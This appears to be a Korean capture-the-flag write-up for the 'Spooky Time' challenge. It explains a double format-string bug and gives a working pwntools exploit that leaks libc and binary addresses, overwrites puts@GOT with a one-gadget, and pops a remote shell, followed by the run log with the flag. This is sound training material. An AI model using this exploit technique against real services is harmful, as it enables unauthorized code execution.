

# Spooky Time

```

pwndbg> checksec
[*] '/home/dgevy/Stealien/11th/spooky_time/spooky_time'
  Arch:      amd64-64-little
RELRO:      No RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled

```

x64 ELF 바이너리이고, RELRO를 제외한 모든 보호기법이 적용되어 있다.

```

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char format[12]; // [rsp+4h] [rbp-14Ch] BYREF
    char input[312]; // [rsp+10h] [rbp-140h] BYREF
    unsigned __int64 v7; // [rsp+148h] [rbp-8h]

    v7 = __readfsqword(0x28u);
    setup(argc, argv, envp);
    banner();
    puts("It's your chance to scare those little kids, say something scary!\n");
    __isoc99_scanf("%11s", format);
    puts("\nSeriously?? I bet you can do better than ");
    printf(format);
    puts("\nAnyway, here comes another bunch of kids, let's try one more time..");
    puts("\n");
    __isoc99_scanf("%299s", input);
    puts("\nOk, you are not good with that, do you think that was scary??\n");
    printf(input);
    puts("Better luck next time!\n");
    return v7 - __readfsqword(0x28u);
}

```

디컴파일된 코드를 보면 FSB가 두 번 발생하는 것을 볼 수 있다.

첫 번째로는 필요한 주소를 leak하고 두 번째에 해당 주소에 write하면 될 것 같다.

구해야 할 주소는 `libc base address` 와 `binary base address` 이다.  
위 주소들을 구하여 원 가젯, `puts got` 주소를 구하여 `puts got` 에 원 가젯을 덮으면 된다.

# Debugging

```

root@eea69cc28259 /pwn/glibc
> one_gadget libc.so.6
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebd52 execve("/bin/sh", rbp-0x50, r12)
constraints:

```

```

address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xebda8 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
    address rbp-0x48 is writable
    r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
    [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
    address rbp-0x48 is writable
    rax == NULL || {rax, r12, NULL} is a valid argv
    [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
    address rbp-0x50 is writable
    rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
    [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

```

먼저 주어진 libc 파일에서 원 가젯을 구한다.

[illegible]

처음 디버깅을 위해 사용한 코드이다.

`gdb.attach(proc.pidof(p)[0])`를 코드에 넣고 디버깅하면 `pause()` 후 직접 attach하는 것과 같은 동작을 하게 된다.

`tmux` 실행 후 실행해야 하고, 원하는 곳에 `pause()` 를 넣어주면 멈춘다.

`proc.pidof(p)[0]`: `proc`는 현재 실행 중인 프로세스를 가리키고, `pidof` 함수는 인자로 받은 프로세스(`p`)의 프로세스 ID를 반환합니다. `[0]`을 통해 프로세스 ID 목록 중 첫 번째 ID를 선택합니다.

위 페이로드를 실행한 후에 gdb 쪽에서 `vmmmap`, `c` 를 차례로 실행시키면 스택에 담겨있는 주소들을 leak함과 동시에 base address들을 체크할 수 있다.

tmux 는 복사를 할 시 중간에 바가 같이 복사되어서 1차로 파싱을 해야 한다.

이후 leak된 주소들을 파싱하여 binary 주소 범위와 libc 주소 범위에 포함되는 경우를 출력하도록 했다. 입력값도 그대로 넣어야 오프셋이 정확하게 출력된다.

찾은 오프셋들이 ASLR이 적용된 상황에서도 비슷한 범위 내에 있는지 검증해봐야 한다.

```
>>> hex(0x7f867e50aa37-0x00007f867e3f6000)
'0x114a37'
>>> hex(0x56125889fb80-0x56125889e7c0)
'0x13c0'
```

libc 오프셋과 binary 오프셋을 구했으니 이제 익스플로잇하기만 하면 된다.

```
0x55922720fb80.0x7f1e7d24b2e0.(nil).(nil).0x55922720d160.0x7ffcd5a64600.(nil).(nil).0x55922720d185.0x7ffcd5a645f8Better luck next time!gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RXX ]
Start      End      Size      Offset      Perm Path
0x00005560981b9000 0x00005560981ba000 0x000000000001000 0x000000000000000 r-- /pwn/spooky_time
0x00005560981ba000 0x00005560981bb000 0x000000000001000 0x000000000001000 r-x /pwn/spooky_time
0x00005560981bb000 0x00005560981bc000 0x000000000001000 0x000000000002000 r-- /pwn/spooky_time
0x00005560981bc000 0x00005560981bd000 0x000000000001000 0x000000000002000 rw- /pwn/spooky_time
0x00007f55ee0a9000 0x00007f55ee0ac000 0x000000000003000 0x000000000000000 rw- <tls-th>
0x00007f55ee0ac000 0x00007f55ee0d4000 0x000000000002800 0x000000000000000 r-- /pwn/glibc/libc.so.6
0x00007f55ee0d4000 0x00007f55ee269000 0x0000000000195000 0x0000000000028000 r-x /pwn/glibc/libc.so.6 <- $rcx, $rip
0x00007f55ee269000 0x00007f55ee2c1000 0x0000000000058000 0x000000000001bd000 r-- /pwn/glibc/libc.so.6
0x00007f55ee2c1000 0x00007f55ee2c5000 0x0000000000004000 0x00000000000214000 r-- /pwn/glibc/libc.so.6 <- $rbp, $r14
0x00007f55ee2c5000 0x00007f55ee2c7000 0x0000000000002000 0x00000000000218000 r-- /pwn/glibc/libc.so.6 <- $rbx, $rsi, $r9, $r12
0x00007f55ee2c7000 0x00007f55ee2d6000 0x000000000000f000 0x000000000000f000 rw-
0x00007f55ee2d6000 0x00007f55ee2d8000 0x0000000000002000 0x000000000000000 r-- /pwn/glibc/ld-linux-x86-64.so.2
0x00007f55ee2d8000 0x00007f55ee302000 0x000000000002a000 0x000000000002000 r-x /pwn/glibc/ld-linux-x86-64.so.2
0x00007f55ee302000 0x00007f55ee30d000 0x000000000000b000 0x000000000002c000 r-- /pwn/glibc/ld-linux-x86-64.so.2
0x00007f55ee30e000 0x00007f55ee310000 0x0000000000002000 0x0000000000037000 r-- /pwn/glibc/ld-linux-x86-64.so.2
0x00007f55ee310000 0x00007f55ee312000 0x0000000000002000 0x0000000000039000 rw- /pwn/glibc/ld-linux-x86-64.so.2
0x00007fff1442000 0x00007fff14463000 0x0000000000021000 0x000000000000000 rw- [stack] <- $rsp
0x00007fff144e1000 0x00007fff144e5000 0x0000000000004000 0x000000000000000 r-- [vvar]
0x00007fff144e5000 0x00007fff144e7000 0x0000000000002000 0x000000000000000 r-x [vdso]
```

마지막으로 검증해보면 libc와 binary의 `base address` 를 정확하게 구해오는 것을 볼 수 있다.

.

## Exploit

```
from pwn import *

# context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']
context.bits = 64

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# p = process('./spooky_time')
p = remote('94.237.58.211', 42159)
e = ELF('./spooky_time')

# gdb.attach(proc.pidof(p)[0])

libc_offset = 0x114a37
binary_offset = 0x13c0

p.recvuntil(b'scary!\n')

fmtstr = "%3$p.%51$p"
one_gadget = [965873, 965877, 965880, 965970, 966056, 966063, 966067]
puts_got = e.got.puts

p.sendline(fmtstr)
p.recvuntil(b'better than \n')

address = p.recvuntil(b'\n')[:-1]

libc_addr, bin_addr = address.split(b".")
libc_addr = int(libc_addr.decode(), 16)
bin_addr = int(bin_addr.decode(), 16)

slog("libc_addr", libc_addr)
slog("bin_addr", bin_addr)

libc_base = libc_addr - libc_offset
bin_base = bin_addr - binary_offset

slog("libcbase", libc_base)
slog("binbase", bin_base)

puts_addr = bin_base + puts_got
oneshot = libc_base + one_gadget[1]

slog("puts", puts_addr)
slog("oneshot", oneshot)
```

```
payload = fmtstr_payload(8, {puts_addr: oneshot})
```

```
p.recvuntil(b"time..")
p.sendline(payload)
```

```
p.interactive()
```

FSB의 경우 비트를 명시해야 오류가 발생하지 않는다. (`context.bits = 64`)

```
root@eea69cc28259 /pwn 48s
```

```
> python3 xxx.py
```

```
[+] Opening connection to 94.237.58.211 on port 42159: Done
```

```
[*] '/pwn/spooky_time'
```

```
Arch:      amd64-64-little
```

```
RELRO:     No RELRO
```

```
Stack:     Canary found
```

```
NX:        NX enabled
```

```
PIE:       PIE enabled
```

```
RUNPATH:   b'./glibc/'
```

```
/pwn/xxx.py:24: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
```

```
p.sendline(fmtstr)
```

```
[+] libc_addr: 0x7f93c68f5a37
```

```
[+] bin_addr: 0x55a0758973c0
```

```
[+] libcbase: 0x7f93c67e1000
```

```
[+] binbase: 0x55a075896000
```

```
[+] puts: 0x55a075899da0
```

```
[+] oneshot: 0x7f93c68cccf5
```

```
[*] Switching to interactive mode
```

```
Ok, you are not good with that, do you think that was scary??
```

```
7      ?
```

```
\xc0
```

```
\x00aaaaba\xa0\x9d\x89u\xid
```

```
uid=100(ctf) gid=101(ctf) groups=101(ctf)
```

```
$ cat flag
```

```
$ ls
```

```
flag.txt
```

```
glibc
```

```
spooky_time
```

```
$ cat flag.txt
```

```
HTB{d0ubl3_f0rm4t_5tr1ng_w1th_r3lR0}
```